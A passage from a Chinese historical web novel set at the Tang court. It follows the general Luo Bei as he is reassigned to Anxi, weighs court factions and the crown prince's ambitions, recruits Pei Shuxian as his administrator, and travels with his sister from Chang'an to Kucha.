洛北笑了一声,似乎在嘲笑自己,他轻声解释道:“这个决定,我并不是现在才下的。我以乌特特勤的身份出现在金山的那一日起,我就不可能回得去了。” 他扳过褚沅的肩膀,望着她的眼眸:“沅儿,你可否答应我,记住我是你的兄长——我只需要你记住我是你的兄长就好,至于我做不做回褚家的儿子,并没有那么要紧。” 褚沅低头应了,她的眼泪止不住地流了出来,落在了火焰燃烧的火盆之中。 “怎么了,哭什么?”洛北低头问她。 褚沅伸出手臂,把自己的脸藏进了他的怀里:“我是替你哭的,阿兄。” 洛北轻轻笑了:“好啊,那就哭吧。哭完今天,我们就不要再流泪了,让那些人哭去吧。” 三日之后,皇帝的诏书再度下达,改任右羽林军大将军洛北为冠军大将军,安西副大都护,镇守碎叶城。 这封诏书一经下达,便如一石投入激流,瞬间激起了千层浪。 首先表达不满的,便是魏元忠、郭元振、张仁愿等这批兼资文武的宰相们。他们立刻面见李显,告诉他:“陛下有图谋北伐之心,怎能在这个时候把大将派到碎叶城去?此去路远万里,北伐的军事调动,洛北怎么可能有空参与?” 李显苦笑着看着眼前的大臣们:“这,诸位,诸位,不要气了,这道诏书,不是朕的本意啊。” “那就请陛下马上追回诏书,不要让洛将军成行。”老成持重,又素得李显信任的魏元忠道。 刚刚回京不久,以铁项著称的吏部尚书宋璟立马出列,发表了不同意见:“陛下诏书即出,若是擅自更改,岂不惹天下人耻笑?更何况,如今突厥默啜大汗刚刚向我们求和,四海狼烟靖平,正是陛下与民休息的最好时候,何必急于再掀战火。” 郭元振道:“宋相公不了解默啜,上表请和,只是他的权宜之计,等他从西域大败之中恢复元气,他一定会再度犯边。若不能一举将他击败,我朝边境将永无宁日。” “郭相公,你说的是未来之事。可让我们看看眼前吧,自神龙元年以来,洛水洪水,山东大旱,关中饥荒天灾如此,朝中又有了许多要吃饭的冗官,大唐的府库还能经得起一次北伐突厥的折腾吗?” 第146章 “若是你在朝中,我们也不必如此被动了。可惜啊,你怎么偏偏就姓阿史那呢?” 朝堂上闹得沸沸扬扬, 身在风暴的中心的洛北,反倒迎来了难得的平静。 他自卸去右羽林军大将军一职,改任安西副大都护以来, 连宫禁当值也不必去了, 于是他每日闲居,不是在家中看他看不完的大食文书籍,变着法子给褚沅调养身体,出门就是与朋友们四处散心,跑马射箭, 宴游歌舞。 “还是你小子会躲懒。”郭元振某日登门拜访,见他家中门可罗雀,不禁发出一声羡慕的慨叹:“我这每日朝上吵架吵得脸红脖子粗, 回部还要料理一堆料理不完的事务。这样下去,非得折寿不可。” “大帅今日造访,当是朝上争论的事情已有了答案。”洛北将仆役都挥退, 又亲自给郭元振端上茶水和糕点, “我洗耳恭听。” 郭元振看他做派如此,忍不住笑了,他端起茶水喝了一口:“外头为你的事情吵翻了天,你倒是不动如山。洛北, 你是怎么想的?” “大帅这是在考我啊。”洛北也不和郭元振藏着掖着,“如今谁都可以发表意见, 只有我自己不能发表意见。” 郭元振坐正了身子:“说下去。” “魏相公等反对此议,无非两点,其一是不想让安乐公主随意左右朝廷三品将军的任命。其二也是不想放弃北伐。” “而宋相公就不一样了, 他刚刚回朝,朝政衰弊如此, 他一定想进行一番锐意改革,只是苦于无人支持。如今他看出来陛下为了自己的威严骑虎难下,不想收回成命,干脆便以朝廷积弊为由,让魏相公等打消北伐的念头。” “这样一来,如果他最后成功,既打压了魏相公、张相公还有您在朝廷中的威严,也让陛下不得不承认朝中积弊实在严重。他进行改革的前提条件不就更成熟了吗?” 洛北分条缕析地说完,才端起茶杯抿了一口水。 郭元振笑了:“你觉得宋相公能够成功吗?” “宋相公想暂缓北伐,想来是容易的。陛下经历过神龙政变,已是惊弓之鸟,绝不愿意见到宰相集体反对他的意志的情况。”洛北道:“不过,他想要陛下同意他改革,怕是不太可能。” 宋璟离开朝堂太久了,对李显的性格缺乏了解。李显既不像他的祖父、父亲那样有为人君主的自觉,也不像他的母亲那样是一个成熟的政治家,他不在乎百姓,也不在乎大唐的朝政运行,他只想要自己的权威至高无上,能利用皇帝的权力做任何他自己想做的事情罢了。 郭元振定定地望着洛北,直到他不自在地放下了手中的茶盏,才叹了口气:“若是你在朝中,我们也不必如此被动了。可惜啊,你怎么偏偏就姓阿史那呢?” “大帅,若我不姓阿史那,西域乱局,哪有那么容易平定。”洛北看着郭元振:“陛下还是打算派我到碎叶城去?” “不错。而且陛下还下旨申饬了魏相公和张仁愿,命张仁愿北上灵武准备防秋。”郭元振道。 这是把张仁愿排挤出了长安的政治中心,对魏元忠这派来说绝对不是个好消息。 洛北轻轻叹了口气:“那陛下可曾申饬安乐公主?” 郭元振摇了摇头:“这也是魏相公郁郁不平的地方!安乐公主私自改变朝廷三品大将的任命,与欺君犯上无异,但皇帝只是让她禁足一月,下旨申饬了驸马武延秀。这算什么惩罚?!” 洛北见一贯乐观潇洒的郭元振的脸上也写满了愤怒,心知安乐公主这次已是闹得天怒人怨——皇帝自以为自己高高抬起,轻轻放下是对安乐公主的宠爱,其实,这只会让安乐公主成为众矢之的。 “朝务,我是帮不上忙了。”洛北端过一边的水晶果碟,示意郭元振吃些东西消气,“至于突厥战事,我是觉得没有必要急于一时。如今阙特勤方定契丹,突厥士气尚足,我们犯不上在边境和他们硬碰硬。” 郭元振知道他对突厥内部情况极熟,颔首道:“这话也有些道理,不过,你这样一说,我只怕今年突厥人还是要犯边。” “所以张相公不是去了灵武么。”洛北笑道。 郭元振立刻明白了他的意思,朝堂议事,嘴皮子上的工夫终究是不够的,治国理政,行军打仗,最后都要落回到现实里,看谁能把事情做成。 “那我可要写信给张相公。”郭元振道:“若你不介意,我要把你的名字一起放在信里。” 洛北笑道:“大帅太客气了。” “哎,你是朝廷三品的将军,又有郡公的爵位。”和他谈了这几句,郭元振在朝堂上压在心头的那点怨气也散了,终于有心情与他玩笑:“我客气客气,也是应该的嘛。不过,就算你小子不同意,我也会写上去的。” 他说完,拿起水晶碟上摆着的“柿子”咬了一口,入口却是浅淡山药香气,一不留神,一股子流心就沾到了他的手上:“哎,这不是柿子啊?” “哦,这是沅儿指点厨房做的柿子山药糕。要是大帅尝着味道好,不妨带些走。” 郭元振本对这些东西无所用心,见洛北笑得如同春风拂面,也忍不住笑了:“好啊,那我就多带些走。” 洛北一路把郭元振送出府门外,才折身回屋。 这日天气极好,暖洋洋的日光洒在长安城的一砖一瓦上。府邸之中,银杏树的叶子已经泛黄了,它们在秋风中轻轻摇曳,仿佛是无数金色的蝴蝶在空中翩翩起舞。 褚沅刚刚喝完了药,正歪在软榻上读一本游记,见他走进来,下意识地要起身行礼,还未直起身,就被洛北按了下去:“在自己家里,哪里值得这么多虚礼。沅儿今天精神可好?” “嗯。”褚沅点了点头。 “那我们出去走走吧。”洛北笑道:“朝堂上风波已定,不日,我们就要起身去碎叶城了。三年之内,都不可能再回到长安,若是你有什么想去的地方,想见的人,不妨去看看。” 褚沅闻言,微微一怔,随即露出了一抹淡淡的微笑:“我真有个地方想去,就不知道阿兄愿不愿意陪我去了。” 终南山下,褚遂良的山居之地久违地迎来了人烟。洛北亲自动手,把庭院中的杂草除了除,辟开一条道路来。褚沅提起裙角,穿过前厅中堂,来到后院一处不起眼的房间之中。 这房间中没有什么布置,只有一只香炉供在矮几之中,上面插着一把烧秃了的香。褚沅打开嵌在墙上的柜子,露出其中供奉的褚家父母牌位来,又从侧面的柜中取了锦缎的蒲团和香火:“阿兄,你要一起吗?” 洛北站在那里,望着那两个名字,一时之间竟有些茫然无措:“我么?可我已经不记得他们的样子了。” 褚沅轻轻地点了点头,她理解洛北的感受。时间的流逝,记忆的模糊,都是不可避免的。她轻声说:“没关系,阿兄。他们一直都在我们心里。” 洛北深吸了一口气,走到褚沅身边,接过她手中的香火。他的动作有些生疏,但眼神中充满了敬意。他点燃了香,递给褚沅,然后自己也点燃了一根,插在香炉中。两人并肩跪在蒲团上,面对着褚家父母的牌位,默默地祈祷。 “父亲,母亲,”褚沅轻声说道,“我和阿兄来看你们了。我们在长安过得很好,阿兄也做了很多了不起的事情。我知道你们一定为他骄傲。” 洛北的心中涌起了一股暖流。他轻声补充道:“我会继续努力,不辜负你们的期望。也会好好照顾沅儿,不会再让她受委屈了。” 两人在牌位前静默了一会儿,然后缓缓站起身来。洛北转头看向褚沅,她的脸上带着微笑: “阿兄,我们去放风筝吧。小时候,我还在掖庭的时候,母亲曾经带我偷偷地放过风筝。她说,风筝飞上了天,天上的人就能看到了。” 洛北已经过了孩提的年纪,也不信鬼神,但看着褚沅带着笑容的眼睛,他还是笑着答应了:“好啊。” 秋高气爽,终南山下多的是登高望远的男女,仆役们已捡了个人少景美的地方搭起了幕帐,又将吃食和饮料都摆出来。褚沅从山居中找了只大鱼模样的风筝,交给洛北,让他就地放起来。 秋风正劲,洛北跑了几步,那风筝就趁着风飘到半空中去了。一时之间,正在野游的众人都往这边看了过来。 已有那按耐不住的青年郎君端着碟新作的点心过来问:“公子是哪里来的风筝?” 洛北笑了:“家里拿出来的。不过我知道城东有两家风筝都做的不错,郎君若是差人去问,不到小半个时辰,就能买来。” “多谢公子,多谢公子。”那郎君放下糕点,连连拱手道了谢,回头走了。 等他折身而去,褚沅才轻轻地笑了:“阿兄不认得他?他就是工部侍郎张说呀。朝中盛传,陛下会擢他做新一任的兵部侍郎呢。” 洛北道:“这个名字我倒是听过,当年太后男宠张氏兄弟当权时,他和郭相公曾经一道编过书。后来太后拔擢他做了中书舍人。后来他因拒绝诬陷魏相公,被流放去了岭南。” “是,陛下复位之后,才把他召回朝中的。”褚沅轻声道,“他素有文才,也去过契丹边境,想来会和郭相公”她话到末尾,忽而顿住不言,只看着洛北身后的方向。 洛北转过头去,以一个神射手应有的目力,他看到太子的东宫内侍正在往这边走。 第147章 “不是太子要见我,是我要见他。” 那位年轻内侍一身锦袍, 是李重俊的内侍中极得意的人物。他脸上挂着谄媚的笑,躬身向洛北道礼: “太子殿下知道洛将军在此,特邀洛将军过去一起打一场马球。” 昔年洛北就是因为在马球场上胜了吐蕃使团, 才被指派为太子洗马, 如今太子特意安排了这场马球赛,其用意不言而喻。 洛北回望了一眼褚沅,温声道:“微臣感谢太子的美意,只是微臣有家眷在此,恐怕不便前往。” 内侍似乎是这才看到褚沅, 他远远地一躬身:“褚姐……见过郡君。郡君何不与将军同去?马球赛上不少人都在,郡君也有人说话解闷不是?” 褚沅轻声答道:“既然如此,请公公先行, 容我与将军收拾片刻,随后就到。” 那内侍躬身道礼,打马而去了。褚沅自帷帐之中起身, 走到她兄长身边:“太子殿下……应当不是心血来潮, 才到这里来打马球的吧?” 洛北笑而不答,只伸手把手中的风筝线递给褚沅:“我们再放一会儿,把风筝放了再去。” 褚沅与他力量悬殊,几乎在她接过的一瞬, 风筝便向下一坠,惊得她赶忙快跑了几步, 才重新把风筝拉起。 洛北英俊的脸上一片温煦的笑意:“沅儿,你可以再跑几步,小跑几步对你的病有好处。” 褚沅依言又跑了半圈, 风筝越飞越高,风筝线也越放越少, 待到风筝线见了底,洛北才抽出腰间的金刀,自中间一裁,将风筝线削断。 大鱼模样的风筝借着风势越飘越远,很快就不见了踪影。一碧如洗的蓝天中,飘着数只其他风筝,有美人面的、大雁的、老鹰的……色彩鲜艳,正与层林尽染的终南山交相辉映。 “仔细着凉。”洛北正在端详空中那些风筝的褚沅披上一件披袄:“让太子殿下到这里来马球是伷先的主意,殿下才解了禁足,不宜掺和朝中的事情,不如出来走走。” “那……”褚沅回头看他,“太子为何又一定要见阿兄呢?” 洛北摇了摇头:“不是太子要见我,是我要见他。” 他语气平静一如往常,褚沅却忍不住回头望他。 洛北正用那双金色的眼眸遥望着碧蓝如洗的天际,朔风吹动他紫袍的边缘,露出斑斓织锦的内衬。 其意锐利坚决,正如一把出鞘的青锋宝剑。 褚沅几乎为他显露出来的锋芒所灼:“阿兄……” 感受到褚沅的目光,洛北歪头笑了笑:“不必担忧,如今我可没有主动挑起宫变的打算。” 太子李重俊的马球场设在不远处的一片广阔的空地上。四周被郁郁葱葱的树木环绕,阳光透过树梢的缝隙,洒下斑驳的光影。秋风轻拂,带来了远处稻田的香气和树叶的沙沙声。 空地中央,一片平整的草地被精心维护,绿意盎然,仿佛一块巨大的翡翠镶嵌在大地之上。草地的四周,用彩旗和细绳围成了边界,彩旗在风中猎猎作响,场上已有四五个世家子弟正在你来我往地打起了一盘。 太子的銮驾摆在一边的树荫之下,幕帐皆用黄色装点,侍卫们分立两边,再往内便是内侍们围聚之处。 太子李重俊就坐在那里,听裴伷先同他说话,但目光已在四处乱看,终于在瞄到洛北时,忍不住伸手招呼道: “将军!” 洛北跳下马来,到太子面前行礼致意:“蒙太子记挂,微臣特来拜见。” “请将军起来。”李重俊道,“将军,我是叫你阿史那将军好,还是叫你洛将军好?” 在草原上,洛北是“乌特特勤”,人们不会以姓名称呼他。 自他回长安以来,从皇帝到里长,又是每个人都称他“洛将军”。他倒是第一次被人问到这样的问题。 洛北沉吟片刻,道:“请殿下称我汉名‘洛北’吧。” “洛将军何时出发去西域?”李重俊请他在自己身侧坐下,神态十分关切。 洛北道:“微臣在长安还有些庶务需要处理,约莫下月出发。” “我日前解了禁足,去宫中拜访父皇,想求他把你留在长安,可没想到,父皇他也是长吁短叹。”李重俊说,“他本看重你的人品和才能,想让你在长安为他效力。都怪安乐!若不是她自作主张,怎么会让父皇如此为难!” “殿下,朝廷既已有决议,微臣但知为大唐效死,不敢非议其他。”洛北温言答道。 李重俊看着他一片平静的面容,忍不住一挑眉头,显出几分急躁来:“可这决议明明是安乐的主意!难道大唐已是她的了吗?” 洛北已经能猜到李重俊的想法,他轻轻叹了口气:“殿下,立安乐公主为皇太女的议论虽然喧嚣尘上,但太子之位如今还在您的手中……这样的话,还是不要说的好。” “太子之位”这四个字到底是触动了李重俊的心门,他那满心满腹的委屈和愤怒忍不住倾泻而出: “哼,她仗着自己是母后的嫡亲女儿,动不动就借此奚落我。这次又当面叫我老奴,还说‘皇帝的位置,不是什么人都能坐的了的。‘让我早日退位让贤……” 他絮絮叨叨,反反复复地说了许多旧事,洛北只得听着,时不时地安慰李重俊一两句。 片刻之后,他终于忍不住开口道:“殿下,皇位之事,关乎大唐的江山社稷,非一人之力可以左右。您是太子,自然有您的责任和使命。安乐公主的言论,或许只是一时之气,您不必太过放在心上。” 李重俊倾吐一毕,又见他劝得真心诚意,心情稍稍缓解,他指了指马球场:“自你外放鸣沙以来,我可再也没有找到过你那样的好队友,今日左右无事,不如咱们下去,和他们再踢一盘,如何?” 洛北犹豫片刻:“……这,微臣是带着家眷来的,恐怕不太方便。” “哦,我已经给褚姐姐安排了人陪同。”李重俊向看台那边指了指:“你看,她们不是在那里么?” 褚沅就坐在那里,笑意盈盈地同面前的少女交谈。那女孩儿梳了两个双丫髻,分别用玉石珠宝做的簪花发夹牢牢地卡在头上,一身粉色的宫装正在随风飘荡——不是曹珍娘又是谁? “那微臣就谢过殿下的精心安排了。”洛北道。 “不必谢我,都是裴詹事的功劳。”李重俊笑道,“怎么样;如今愿意同我去和他们打一盘了吧。” “微臣遵命。” “褚姐姐!”曹珍娘指了指马球场上,“看!洛将军和太子殿下一起上场了。” 褚沅顺着曹珍娘的手指方向望去,只见洛北和李重俊已经换上了轻便的马球装束,正准备加入场上的球赛。阳光下,两人的身影显得格外矫健,马匹也被装饰得色彩斑斓,准备在场上驰骋。 “对了,褚姐姐,刚刚光顾着激动了。还没问,你们今天为何也会到这里来?本来以洛将军的身份,太子是绝无可能下帖子给你们的。如今,倒是可以用一个‘巧合’遮盖过去。” “人小鬼大。”褚沅刮了刮她的鼻尖,“洛将军带我到这里来放风筝,说略微动一动,对我的病有好处。” “哦!”曹珍娘做了个夸张的鬼脸,故意拖长了声音,拿腔拿调地道:“原来如此啊。” 正在这时,马球场上欢呼四起,原来是洛北俯身一捞,一个长传把球打入了球门之中。 褚沅轻轻笑了一声:“其实我倒觉得……洛将军本来也是极好动的一个人,在长安这些日子,倒是有些苦了他了。” 曹珍娘撅起嘴:“你心疼他什么?他马上就要去西域担任安西副大都护了,倒是你……你打算怎么办?” “怎么办?”褚沅重复了一遍曹珍娘的话,似乎没有明白她问话的用意,“我当然也要到碎叶城去了。” “啊?!我可听说,西域苦寒,裘衣一年到头脱不下来几个月。八月份就能平地飞雪,雪花比人的手掌还大。”曹珍娘大为诧异,“褚姐姐,你可是在大明宫里长大的,能受得了那样的地方吗?” “以我如今的处境,怕还是到那里去更安全些。”褚沅道,“更何况,那里虽然苦寒,依旧有我大唐的儿女在——” 曹珍娘来此之前,已准备了一篇腹稿要劝褚沅留在长安,留在上官昭容或者太平公主的府邸之中,见她如今这样说,原来的那些话倒是一个字都说不出口了。 场上再度爆发出一阵激烈的欢呼,李重俊接过洛北的长传,击球过人,一举把马球打入球门之中。 他二人你来我往,很快就把比分推到了十一比八。在一浪高过一浪的欢呼之中,洛北悄悄退场,留太子独自享受此刻。 裴伷先已在场边等待多时,见他换下比赛的织锦半臂,忙迎了上去:“公子和殿下聊得怎么样?” 洛北缄口不言,只与他并肩同行,一路走到一片地势稍高的开阔地带,才开了口: “太子殿下一味只知责怪安乐公主,怕是……” 裴伷先苦笑道:“太子血气方刚,见安乐公主骄奢,愤愤不平,也不是不能理解的么。” “这说的不错,但要成事,他还缺了一样东西。” “什么?” “决心。”洛北轻声道,“殿下并无以子逼父,哪怕千古骂名也不在乎的决心。” 第148章 “再看一眼长安城吧,我们很久很久都不会再回来了。” 洛北声音极轻, 在裴伷先耳边却如一声炸雷。 他的第一反应是忍不住地向四下里看了又看。苍野茫茫,秋风正盛,这一片百草衰败的野地里只有他们两人。他那颗被惊雷炸响的心脏才稍稍安定下来:“公子的意思是?” 洛北轻轻叹息一声, 背过身去, 望着终南山上的秋林: “太子现在顶多有‘清君侧’的决心。可古今哪场政变,是能以‘清君侧’结束的?万一军队到了宫殿前,太子止步了。我们怎么办?别忘了,不论你我在朝中声望如何,禁军一动, 纵览全局,发号施令的人都只能,也只会是太子。” 裴伷先明白他的意思, 他沉吟片刻,才道:“不过,魏相公和李唐宗亲都会支持我们的。太子殿下顾念影响, 应当不至于中途退缩吧?” “太子和陛下的性格不同。中途施压这套对陛下有用, 对太子可未必有用。” 洛北道: “我说一句自私的话,政变之事何其凶险,形势更是瞬息万变。万一太子犹豫,禁军将士被皇帝争取了过去——你和我会有什么下场?” 裴伷先轻轻叹了口气:“莫说不成, 便是功成,我们的下场也不会太好哟。” 他已同太子李重俊闹过一场别扭, 深知太子的个性骄傲,不是个能忍气吞声的性子。若是用这样的法子把太子李重俊扶上皇位,只怕太子一旦身登大宝, 稳固了权力,第一个就要来除掉他们。 神龙政变的五王, 就是他们的前车之鉴。 裴伷先轻声道:“但我还是觉得,如今的局势,对太子来说太危险了。” 洛北道:“不,伷先,内有安乐公主,外有武三思的那段日子对太子来说才是最危险的。如今这都已经过去了。太子是国本,关系广泛,牵一发而动全身。只要他稳坐钓鱼台,朝中这些宰相们和李氏的宗亲是一定会把他保住的。他们担不起换一个幼君上来的风险!” 此刻换一位幼君,便是把天下的权柄交到了韦皇后手中。到了那个时候,改朝换代倒在其次,朝中的这些权贵们,已经不能再承受一场武周初年的血腥屠杀了。 裴伷先轻轻点了点头,他已经明白了洛北的意思,却不由得轻轻叹息一声:“我本以为,此次太子一举继位,我也可以重展胸中抱负,原来还是没到时候。公子,你此去安西,至少三年之内,不会回来了吧?” 洛北点了点头:“这是我今日来此的另外一个目的,伷先,太子的禁足已解,你还打算留在东宫吗?” 这话的言下之意已是不言而喻。裴伷先瞪大双眼,快走一步赶到洛北身边:“公子的意思?” “西域战事方平,百废待兴,我需要一位精通西域局势的长史官筹谋粮草兵革,安抚百姓。”洛北轻声道:“若伷先愿意前来,我可以说动太子,让他向朝廷举荐。” 裴伷先与他相处日久,知他从不轻易许诺,一旦开口,必是有了十成把握:“公子有把握说动太子?” “当然。世人都以京官为荣,不愿意外放去塞外苦寒之地。可朝廷铨选官爵,是要看资历和政绩的,所以他们盯着监修国史的位置争,希望以文字立功。”洛北道:“可伷先,你的才能,不止于此。倒不如和我去边塞上,到时候以功回朝,入阁拜相,对太子更有助益。” 他这番话虽然含混,裴伷先却一下抓住了其中的重点:“公子的意思是,安西还要打仗?和谁?突厥人?” “不,是大食人。”洛北从袖中抽出一封突厥文书,递给裴伷先:“我这里有一封吐火罗叶护阿史那都泥利写来的信,他是我的同族兄弟,这次是写信来求我发兵的。如今吐火罗边塞的数个重镇都已被大食名将屈底波派人攻克,大食东侵之势已经不是他能阻挡的了。” 裴伷先久在西域,也精通突厥文。他低头一目十行地将文书读完,才放下文书,一脸疑惑: “大食人的兵马已经在攻打吐火罗了?他们不是一直在昭武九姓之地来回徘徊么?怎么忽而发兵向南?吐火罗之地多山,根本不是易于征服的地方啊。” “这也曾是我奇怪过的地方。”洛北道,“不过,我近来清闲,读了不少大食书籍,对此有些新的想法。其实,大食人本是条支海滨的牧民,部族之中也有攻伐,直到英主降世,才新建了大食这个国家。他们的国家比起大唐,更像是一个草原汗国。各大部族头人手领重兵,再设军将予以统辖。” “明白了。”裴伷先也在突厥待过不短的时间,自然知道这样的汗国是如何运作的:“大食的君主要是想要让这些部族之间不要互相征伐,就只有向外征伐这一条路。” “不错。而这些将军、头人们要是想为自己争取点什么,也得靠打仗的土地和战利品。”洛北道:“这大概也是那位大食将军屈底波的野心所在,他想用新征服的河中土地作为自己的政治筹码。” 裴伷先这下彻底明白,为什么洛北需要一位精通粮草兵革的长史官了:“公子是想把安西经营成此战的后勤中心?” 洛北颔首:“不错。昭武九姓与吐火罗之地都离中原腹地太远。山峦叠起,难以逾越。若后勤物资都从甘凉之地转运而来,只怕运输的费用要远远贵过粮草本身,其中损耗的人力物力,更不可量数。所以我才想请你和我一道去安西,我不长于财会,这样的事情,还得要你想想办法。” “公子不必担忧!”裴伷先哈哈大笑:“若我能到安西,三年之内,我必将安西治理成一片热土,如若不成,战端一开,我就拿自己的家财出来赞助军费。” “好!这可算是你的军令状了。”洛北笑着应了下来。 数日之后,裴伷先果然蒙太子举荐,外放担任安西大都护府长史。皇帝仁慈,特命其与安西副大都护洛北同行。 他们离开长安的那一日,天空纷纷扬扬,飘洒下了雪花。雪花如同天女散花般从铅灰色的天空中飘落,覆盖了长安城的每一个角落。朱雀大街上行人稀少——并没有人来给他们送别。 洛北也无意引起他人的注意,出发之前,他特意命令巴彦将写着自己姓名和官衔的旗帜卷起:“路途遥远,咱们还是轻装简行的好。” 巴彦看了他一眼,笑道:“知道您不在意这些事情,连旗帜我都没准备呢。到了龟兹再看看吧。那儿什么样的旗帜没有呀。” 洛北一贯温和平静的脸上也难得挂着笑意:“我本以为你会享受长安的繁华,如今一看,你怎么比我还急着回去?” “长安确实繁华动人,是我这辈子都没见过的。可在这样的地方呆久了,人会觉得自己是飘着的。”巴彦故作老成地叹气:“我也不好形容。” 裴伷先笑笑地打马上来,加入了他们的谈话:“这便是汉地里常说的‘人如孤蓬,飘如浮萍’啊。巴彦将军虽然不解诗词,但其中真意确已经得了。” 巴彦说:“不懂诗词可不能怪我,要怪只能怪王先生没教过我这一节。” “不错,这样吧,等到有机会,让王翰请你喝酒,你亲自问问他,为什么漏教了这一节。”洛北笑道。 一想到热爱喝酒的朋友王翰,三人都忍不住笑了起来。嬉笑之间,离别的愁绪似乎也被抽开一点。 车驾缓缓地驶出长安的开远门,商贾、军旅和行人都通过此门前往大唐边疆。 洛北略停了停马,跳下来望着那块由虞世南手书的石碑: “西去安西九千九百里。” “这是什么意思?”巴彦招呼卫士们把车驾和辎重安顿一番,自己也跳下来看那石碑,“将军,按照上次我们矫正的地图,从这里到昭武九姓边缘的乌浒水,应当超过万里了吧?” 裴伷先笑了:“巴彦将军,这块石碑,是说大唐虽然疆域辽阔,此去边疆不过九千九百里之遥,叫行人放心远行,不必担忧万里乡愁。” 他说出“乡愁”二字时,心里忽而涌起一阵难得的感慨。多年前,他从此地流放北庭,千难万险之后,才得回长安。如今,他又要离开长安,回到安西,以封疆大吏的身份开始一段新的旅程。 他想和洛北说什么,许是感谢,许是佩服。但回过头去的时候,已经不见了洛北的踪影,他再向远处一望,洛北已经来到队伍中列的车驾上,撑着伞把褚沅扶了下来。 褚沅已在衣袍外罩了件厚重的狐皮裘衣,毛茸茸的滚边露出来,把她惨白的面容挡了一半。她犹在病中,是众人之中穿得最厚重的。 此刻,她一手搭着兄长的手臂借力,一手却忍不住去接冰冷的雪花: “阿兄,你看这雪,是不是在为我们送行?”声音中带着一丝轻松和雀跃。 洛北抬头望了望天空,雪花落在他的睫毛上,瞬间融化成水滴。“或许是吧,风雪送君行,也算是一种壮行。” 他转过头来,望着褚沅的眼睛,他那双如流金一般璀璨的琥珀色眼眸难得沉淀出几分复杂的情绪: “再看一眼长安城吧,我们很久很久都不会再回来了。” 第149章 “伊逻卢城中有异动?” 西去长安七千四百八十里, 就到了龟兹王城伊逻卢城。 夕阳落在城门外大佛慈悲的面容时,洛北的队伍缓缓地驶进了伊逻卢城的第一重城门。 伊逻卢城是丝路北道的交通要地,西去碎叶, 南下于阗, 东归瓜州,北去突厥牙帐,都要经过此地。战事一平,来来往往的商旅、僧人、侠客、军士就挤满了伊逻卢城的大街小巷。 褚沅好奇地从车窗中探出头来,望着街上露天的集市和稠密的人群, 佩着唐刀,穿着圆领袍和幞头的唐人、戴着高帽子,穿着翻领窄袖的锦袍的粟特胡人、梳着编发, 足蹬长靴的突厥人、还有垂肩短发、佩着长剑的龟兹人。 “伊逻卢城风俗与长安不同,晚上街市也是十分繁闹。”裴伷先见她好奇,便笑笑地打马从队伍中赶到前头, “今晚可汗殿下定是要赐宴的, 脱不开身。不过我们会在此地停留一阵,待到寻了空,可否请褚郡君开口,请洛将军同我们一道出去玩一玩?” 褚沅望向他, 眼中透着一点迷惑:“好啊,可裴公为什么叫我去请呢?” “嗨, 要不是郡君您开口,将军他肯定光顾着公务,没心情出来玩乐。”巴彦也回过头来加入了他们的对话, “上次来伊逻卢城就是,我听说他把自己关在安西衙署里, 连着忙了好几天,才把安西军和衙署的文档整理完毕。” 他身材高大,声音也洪亮,这话一个字都不落地传到了队前的洛北耳中。他无奈地顿住马,回过头来望着裴伷先和巴彦: “我说几位,说这话都不背着我点么?” 裴伷先哈哈大笑:“公子可不能怪巴彦将军,他是怕你只顾着处理公文,把他也困在安西衙署里。” “这可真是冤枉我了。我可没禁止你们出去玩啊。”洛北道。 “将军别忘了,我接卫队长任命的时候是立过军令状的。哪能把您丢在这儿,自己随随便便地出去玩呢。” 洛北怕他再说下去,又要提起碎叶城中他被康孝哲刺杀的往事。这事情一提起来,裴伷先和褚沅定要千叮咛万嘱咐地请他“保重自身,勿作白龙鱼服之游。”他不想再受这番念叨,干脆出言打断:“好了,不要再说了,明晚,明晚就请诸位和我一道出去夜游,如何?” “遵命。”巴彦和裴伷先对视一眼,齐声拱手笑道。 饶是洛北有意轻装简行,一支三十余人的骑队的队伍穿过伊逻卢城,也足以引起安西都护府中不少人的注意。骑队还未穿过第二道门,就已有使者快马而来。 “敢问是安西副大都护洛北洛将军么?” “是我。”洛北勒马停步,轻声答道。 “见过洛将军!”使者半跪在地,“西突厥十姓可汗、安西大都护阿史那献将军已在等候将军了。请将军勿要在驿站旅馆停留,直接进安西衙署去拜见阿史那将军吧。” “多谢使者。”洛北客气地拱了拱手,回过头去看了看众人:“顾不上休息了,我们还是加快速度,赶到安西衙署去吧。仔细你们的马匹,不要冲撞了摊贩。” 洛北的声音在队伍中传开,骑队的速度立刻加快,但依旧保持着整齐的队形。马蹄声在石板路上回响,与伊逻卢城的喧嚣声交织在一起,很快传到了王宫北方的安西衙署之中。 伊逻卢城少雨多旱,平民的建筑以泥皮土房居多,达官贵人们的居处又以砖石堆垒的多,不过,不论是什么材质修建的房屋,屋顶大多是平的。只有安西大都护府的衙署延续了中原的建筑样式,不仅修了飞檐,还以精致的琉璃筒瓦覆盖。 远远地,洛北已经可以望见阿史那献亲自在衙署门前相迎的身影。他心里又是感动,又是惭愧,赶忙在下马石前跳下马来,一路小跑着到他父亲面前道礼: “不肖子见过父亲。” 阿史那献轻轻笑了,双手把他扶起来:“能给父亲挣郡王爵位的儿子还要自称不肖,你叫我这个当父亲的怎么答话呀?” 洛北低头笑了:“父亲,我” “虚礼不要谈了。”阿史那献拍了拍他的手臂:“我听说,新任命的安西都护府长史裴伷先与你同行?” “是。是我请太子保举伷先来安西任职的。”洛北道:“他是西域豪商,谙熟西域情况,可以为一位治境安民的良佐。” 裴伷先也向阿史那献道礼:“见过大都护。” 阿史那献听过他的名号,微笑问道:“我久在西域,也听过你的大名。只是治国安邦,不同于行商,如今西域百废待兴,处处要的都是金银支持,朝廷虽有补贴,但你不怕赔本么?” 裴伷先看了一眼洛北,才恭敬答道:“请大都护放心,在长安我就同洛将军立过军令状,若两年之内,不能把西域治理得政通人和,百废俱兴,我就以自己的家财填补!” 阿史那献笑了:“为此一言,我今晚当与裴长史同饮一杯。” 裴伷先见他威严之中不失儒雅,知道这位顶头上司不会太难相处,心中稍稍安定下来,躬身应道:“多谢大都护。” 阿史那献点了点头,转身就要同他们一道步入衙署之中,洛北忙叫住他:“父亲,等一等,还有一位客人不曾拜见过父亲,还请父亲命人开侧门让马车驶入,也好让她到花厅来向父亲见礼。” 阿史那献这才注意到那驾马车,洛北身边多的是军旅出生的将士,各个精通骑射,就是像裴伷先、张孝嵩、王翰这样以文才著称的人,也能纵马驰骋。如此不同寻常的安排,只有一个可能,那就是马车中必然坐着一位女眷。他不由得露出一点促狭的笑: “白莫苾那个家伙,闲来无事就要抓着我谈你和他妹妹的婚事。这下好,你自己做主了。今天晚上,我看他还有什么话说。” 当着裴伷先的面,洛北也不好和他解释,只好改了话题:“白莫苾应当已经是龟兹王了吧?大战过后,事务如此庞杂,他竟还有心情关心我的私事?” 